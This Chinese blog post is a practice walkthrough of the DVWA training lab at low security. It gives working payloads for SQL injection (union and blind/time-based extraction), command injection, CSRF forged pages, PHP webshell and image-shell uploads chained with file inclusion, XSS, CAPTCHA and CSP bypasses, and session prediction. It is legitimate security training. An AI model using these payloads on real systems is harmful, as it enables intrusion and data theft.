DVWA-low靶场练习

0x01 Brute Force

image-20210208193946517

可以看到只有一个登录框输入用户名和密码,通过bp抓包来查看一下所发送的数据包

image-20210208194449547

可以看到用户名和密码都是简单的通过get传参移交给服务器进行验证,并且这里并没有其他的验证信息,可以进行字典爆破,使用bp的intruder模块进行爆破

这里bp爆破有四个模式:

Sniper:一次只测试一个位置

Battering ram:几个位置同时开始测试

Pitchfork:同时测试每个位置不同的payload

Cluster bomb:会测试几个payload的不同组合

因为这里字典是用户名和密码分开的形式,使用cluster bomb模式

image-20210208195755107

将用户名和密码选中,然后设置对应位置的遍历字典

image-20210208195252716

image-20210208195347980

开始爆破,然后按照不同的长度进行排序

image-20210208195850198

可以发现只有admin/password回显网页不同,猜测为正确的账号密码,使用repeater模块发送账号密码,出现登陆成功的提示

image-20210208200912994

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到这里对上传的密码计算md5值,说明数据库中的密码也是通过md5进行存储的,这一手段避免了使用万能密码进行sql注入登录的风险

万能密码:’ or ‘1’=’1

0x02 Command Injection

image-20210209192030105

这个漏洞的成因是当在命令行执行命令时,可以通过命令组合或管道同时执行多个命令

此处输入没有任何过滤,所以存在命令执行漏洞

组合符号:

& :同时执行多条命令,不管是否成功

&&:同时执行多条命令,但碰到出错命令就停止

||:同时执行多条命令,执行正确的命令后将不再执行后面的命令

管道命令:

|:将第一条命令的结果作为第二条命令的参数来使用

payload: [VMware Workstation Pro.lnk](....\Public\Desktop\VMware Workstation Pro.lnk)

1
127.0.0.1 & dir

image-20210209192858646

0x03 Cross Site Request Forgery (CSRF)

image-20210209193504154

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

进行改密操作用bp抓包

image-20210209210530727

这里并没有任何验证的参数,仅利用了客户端的cookie信息进行验证,改密方式使用get传参,所以考虑可以使用伪造改密链接诱骗受害人点击payload

1
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

可以将这个点击链接的事件嵌入到网页中,在受害人不之情的情况下进行改密攻击

伪造页面代码:

1
2
3
4
<script src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#"></script>
<?php
echo 'CSRF test'
?>

使用当前浏览器访问伪造好的页面

image-20210209211032036

并没有显示任何其他的信息,然而此时改密操作已经完成

image-20210209211702476

由于是利用了窃取cookie进行csrf攻击,所以必须是用一个浏览器访问诱导页面才能够完成改密操作

0x04 File Inclusion

image-20210214203229227

文件包含漏洞就是对于include某网页时,对于输入的参数并没有进行过滤,而使得可以访问任意网站文件

点击任一网页

image-20210214203304800

发现是通过get传参,修改参数重新访问

image-20210214203358024

可以看到目录并没有flag.php文件所以报错,但是同样也证明了存在文件包含,因为传入的参数被解析并执行了,并且也爆出了网站当前目录

同样也可以用bp抓包修改get传递的参数

0x05 File Upload

image-20210214203648854

文件上传漏洞就是对上传的图片文件并没有进行过滤,导致可以通过上传一句话木马或图片马的方式进行getshell,文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。

经典的php一句话木马

image-20210214204318147

low等级可以成功直接上传one.php说明无任何过滤

image-20210214204822795

然后进行菜刀连接

image-20210214210643271

成功读取后台文件

image-20210214211248771

同样可以使用上传图片马的方法,首先生成图片马,将想要执行的php命令添加到图片后面即可形成图片马

1
copy real.png/b + info.php/a 2.jpg

之后将图片马进行上传

image-20210214214848195

此时由于上传的文件名为2.jpg,无法直接执行,需要结合文件包含漏洞,因为当文件包含时,不管是什么文件类型,都会执行其中的代码

payload:

1
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/DVWA-master/hackable/uploads/2.jpg

image-20210214214923698

成功执行图片马中的phpinfo();命令

0x06 Insecure CAPTCHA

image-20210214215218198

不安全的验证码,主要是利用了与服务器交互中的逻辑漏洞

1

这是网上找到的验证流程图

然后查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

源码的大概逻辑就是首先第一步服务器会向谷歌服务器验证验证码的正确性,如果通过验证,那么会返回一个修改密码的表单给客户端,第二步就是客户端提交修改密码的表单完成改密操作

发现只有step=1时进行了验证,而step=2时会直接进行修改密码的操作,那么我们通过bp抓包修改报文,可以直接绕过第一步

image-20210214221601379

修改参数,然后发送修改后的报文,成功绕过验证码然后修改密码

image-20210214221647311

0x07 SQL Injection

image-20210214223004305

sql注入,就是利用网站对于输入的查询信息过滤并不是很完全,通过构造的payload,实现sql语句的非法执行

首先第一步,判断是否有sql注入

1
1' and '1'='1

image-20210214222823064

1
1' and '1'='2

image-20210214222846321

通过两个语句不同的回显,说明执行了后面的and逻辑判断,说明存在sql注入漏洞

然后可以通过order by 函数,来判断查询语句中有多少列

1
1' order by 1#

image-20210214223202800

1
1' order by 3#

image-20210214223139643

说明查询语句中有两列,然后可以进行union联合查询

1
1' union select 1,2#

image-20210214223501051

判断回显位置之后,然后可以通过mysql内置的数据库查询库名表名和数据

爆数据库名

1
1' union select 1,schema_name from information_schema.schemata#

image-20210214223758168

然后可以通过同样的方法获得表名,列名,数据

汇总sql注入常用数据库信息:

1
2
3
4
5
6
7
8
mysql存储所有数据库信息的数据库: information_schema
其中所含的表
information_schema.schemata 提供所有数据库信息
列: schema_name 存储数据库名
information_schema.tables 提供关于数据库中的表信息
列: table_name 存储表名 table_schema 存储表属于哪个数据库
information_schema.columns 提供了表中的列信息
列: table_schema 存储列属于哪个数据库 table_name 存储列属于哪个表 column_name 存储列名

0x08 SQL Injection (Blind)

image-20210223182735729

SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。

所以sql盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注

1.基于布尔的盲注

首先还是要判断是否存在sql注入漏洞,并且判断是基于字符还是基于数字

1
1' and 1=1#

image-20210223183546686

1
1' and 1=2#

image-20210223183600444

可以判断出是字符型的sql盲注

然后利用and判断来猜当前数据库名长度

1
1' and length(database())=1#

image-20210223193310818

1
1' and length(database())=4#

image-20210223193340425

说明数据库名长度为4,然后可以通过二分法进行爆破数据库名

1
2
1' and ascii(substr(databse(),1,1))>97#  (97为小写字母a的ascii值,122为z的ascii值)
1' and ascii(substr(databse(),1,1))<122#

可知数据库名为:dvwa

利用这样的查询语句可以依次猜解出数据库的名称

然后猜解数据库中的表的个数

1
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#

然后就可以知道当前数据库中的表的个数

然后猜解数据库中表名的长度,使用下面的payload

1
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1#

使用二分法依次猜解数据库中的表名

1
2
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122#

可知数据库中两个表名分别为:guestbook users

然后猜解users表中字段的数量

1
1' and (select count(column_name) from information_schema.columns where table_name='users')=1#

然后同样猜解users表中每个字段的长度

1
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#

然后使用二分法猜解users表中每个字段名

1
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=1#

limit 0,1 :确定是表的第几个字段

substr(str,1) : 从第一个位置开始截取str字符串之后的所有字符

substr(str,1,1) : 截取字符串str从第一个位置开始之后的一个字符

知道了数据库名,表名,列名,然后就可以继续通过二分法来爆破其中的数据

猜解dvwa数据库中的users表中的first_name字段中的数据

首先猜解字段长度

1
1' and length(substr((select first_name from dvwa.users limit 0,1),1))=1#

然后用二分法猜解数据

1
2
1' and ascii(substr((select first_name from dvwa.users limit 0,1),1,1))>97#
1' and ascii(substr((select first_name from dvwa.users limit 0,1),1,1))>122#

然后可以根据这样的思路步骤编写python脚本,效率会很高

2.基于时间的盲注

原理就是加入sleep()函数,如果猜解正确网页回显会变慢

思路步骤还是和布尔盲注一样,只是payload有所不同

判断是否存在时间盲注

1
2
1' and sleep(5)#  判断字符型
1 and sleep(5)# 判断数字型

猜解数据库长度,名称

1
2
1' and if(length(database())=1,sleep(5),1)#  猜解长度
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 二分法猜解名称

猜解数据库中的表数量,表名长度,表名

1
2
3
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 猜解表个数
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)# 猜解表名长度
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,sleep(5),1)# 二分法猜解表名

猜解表中的字段数量,字段长度,字段名

1
2
3
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 猜解字段数量
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1)# 猜解字段名长度
1' and if(ascii(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1,1))>97,sleep(5),1)# 二分法猜解字段名

同样使用二分法猜解具体表中某字段的数据

1
1' and if(ascii(substr((select first_name from dvwa.users limit 0,1),1,1))>97,sleep(5),1)#

0x09 Weak Session IDs

image-20210223205921151

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带session去访问。sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

使用bp抓包,查看session生成方式

image-20210224182729674

可以发现,每次新生成的session都是在原来的数值基础上+1

通过这种简单的构造方式,将session劫持后,可以利用session直接绕过输入用户名和密码

使用hackbar实现绕过,此时dvwaSession=1

首先登出

image-20210223211121290

然后配置hackbar

image-20210224182957097

执行之后直接登入页面

image-20210224183019365

0x0A DOM Based Cross Site Scripting (XSS)

image-20210224183155070

DOM型xss的产生并没有和服务器进行交互,而是通过浏览器的dom树解析产生的。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

可以看到在选择之前

image-20210224183539921

选择之后将所选内容插入到了网页html中

image-20210224183608654

构造payload

1
http://192.168.0.104/DVWA-master/vulnerabilities/xss_d/?default=<script>alert('xss')</script>

image-20210224184426194

0x0B Reflected Cross Site Scripting (XSS)

image-20210224184528292

反射性xss,就是注入的代码并没有存储在服务器端

直接输入payload

1
<script>alert('xss')</script>

image-20210224185300140

bp抓包查看payload

image-20210224185403335

0X0C Stored Cross Site Scripting (XSS)

image-20210224185444851

存储型xss,就是注入的代码会存储在服务器端,最常见的就是留言板类型

直接输入payload

image-20210224185556703

注入成功

image-20210224185622995

bp抓包发现是通过post方式传递数据

image-20210224185731482

0x0D Content Security Policy (CSP) Bypass

image-20210224190122046

Content Security Policy(CSP),内容(网页)安全策略,为了缓解潜在的跨站脚本问题(XSS攻击),浏览器的扩展程序系统引入了内容安全策略(CSP)这个概念。具体内容可以参见《Content Security Policy 入门教程
在先前的XSS攻击介绍中,主要都是利用函数过滤/转义输入中的特殊字符,标签,文本来应对攻击。CSP则是另外一种常用的应对XSS攻击的策略。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
两种方法可以启用 CSP。

  • 一种是通过 HTTP 响应头信息的Content-Security-Policy字段。
  • 一种是通过网页的标签。
1
2
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
1

关于HTTP中CSP说明参见 https://cloud.tencent.com/developer/section/1189835
以上例子中的说明如下:

  1. script-src,脚本:只信任当前域名
  2. object-src:不信任任何URL,即不加载任何资源
  3. style-src,样式表:只信任cdn.example.org和third-party.org
  4. child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
  5. 其他资源:没有限制其他资源

启用CSP后,不符合 CSP 的外部资源就会被阻止加载。

使用bp抓包网页查看响应头

image-20210224190322082

可以看到只允许pastebin.com等网站执行js

那么可以在pastebin.com写一个注入文本,然后访问执行

image-20210224191650414

会生成一个链接https://pastebin.com/raw/zSLDySJn

然后输入链接成功执行js代码

image-20210224191800340

这说明使用csp时,还是要允许受信任的网站,这种随意留言的网站是不安全的

0x0E JavaScript Attacks

image-20210224192459112

可以看到要求提交success就成功

先提交

image-20210224192550294

显示token错误,bp抓包查看post的数据

image-20210224192439689

发现他同时生成了一个token,应该和服务器端比较,比较成功即通关,那么这个token是哪来的呢,查看网页源码发现有js脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();

就是这个脚本生产了MD5类型的token,而这个被计算MD5值的字段就是输入框中的字段。所以说这是前台生成的token,而网页刚开始生成的是字段ChangeMe的MD5值,而要求是要提交success的MD5值,那么可以输入success后在控制台再调用一次generate_token()函数,即可通过。

image-20210227154511763

然后控制台调用generate_token()

image-20210227154552439

成功提交

image-20210227154602978


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!